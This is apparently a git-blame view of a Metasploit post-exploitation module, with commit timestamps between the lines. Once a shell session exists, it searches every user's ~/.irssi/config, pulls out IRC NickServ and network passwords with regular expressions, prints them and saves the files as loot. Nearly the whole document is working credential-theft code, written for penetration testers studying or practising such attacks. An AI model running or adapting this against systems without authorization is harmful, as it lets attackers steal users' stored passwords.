2017-04-05 04:56:24 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2017-04-05 04:56:24 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Unix
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Multi Gather IRSSI IRC Password(s)',
|
|
|
|
'Description' => %q{
|
|
|
|
This module grabs IRSSI IRC credentials.
|
|
|
|
},
|
|
|
|
'Author' => [
|
|
|
|
'Jonathan Claudius <jclaudius[at]mozilla.com>',
|
|
|
|
],
|
|
|
|
'Platform' => %w{bsd linux osx unix},
|
|
|
|
'SessionTypes' => %w{shell},
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
print_status('Finding ~/.irssi/config')
|
|
|
|
paths = enum_user_directories.map { |d| d + '/.irssi/config' }
|
|
|
|
paths = paths.select { |f| file?(f) }
|
|
|
|
|
|
|
|
if paths.empty?
|
|
|
|
print_error('No users found with a ~/.irssi/config file')
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
download_passwords(paths)
|
|
|
|
end
|
|
|
|
|
|
|
|
# Example of what we're looking for in the config...
|
|
|
|
#
|
2017-04-10 19:35:26 +00:00
|
|
|
# ***Identify Password Example***
|
2017-04-05 04:56:24 +00:00
|
|
|
# autosendcmd = "/msg nickserv identify example_password ;wait 2000";
|
2017-04-11 01:38:30 +00:00
|
|
|
#
|
2017-04-10 19:35:26 +00:00
|
|
|
# ***Network Password Example***
|
|
|
|
# password = "example_password";
|
2017-04-05 04:56:24 +00:00
|
|
|
#
|
2017-04-11 04:02:40 +00:00
|
|
|
def contains_passwords?(path)
|
2017-04-05 04:56:24 +00:00
|
|
|
data = read_file(path)
|
2017-04-10 19:35:26 +00:00
|
|
|
identify_passwords = data.scan(/\/\^?msg nickserv identify ([^\s]+)/)
|
|
|
|
network_passwords = data.scan(/^?password = "([^\s]+)"/)
|
|
|
|
|
|
|
|
passwords = identify_passwords.flatten + network_passwords.flatten
|
2017-04-05 04:56:24 +00:00
|
|
|
|
|
|
|
if passwords.any?
|
2017-04-11 04:02:40 +00:00
|
|
|
print_good("Found IRC password(s) of #{passwords.join(',')} in irssi config at #{path}")
|
|
|
|
return true
|
2017-04-05 04:56:24 +00:00
|
|
|
end
|
|
|
|
|
2017-04-11 04:02:40 +00:00
|
|
|
false
|
2017-04-05 04:56:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def download_passwords(paths)
|
|
|
|
print_status "Looting #{paths.count} files"
|
|
|
|
|
|
|
|
paths.each do |path|
|
|
|
|
path.chomp!
|
|
|
|
next if ['.', '..'].include?(path)
|
|
|
|
|
2017-04-11 04:02:40 +00:00
|
|
|
if contains_passwords?(path)
|
|
|
|
loot_path = store_loot(
|
|
|
|
'irssi config file',
|
|
|
|
'text/plain',
|
|
|
|
session,
|
|
|
|
read_file(path),
|
|
|
|
path,
|
|
|
|
'IRC Password'
|
|
|
|
)
|
|
|
|
print_good("irssi config with passwords stored in #{loot_path}")
|
|
|
|
end
|
2017-04-05 04:56:24 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|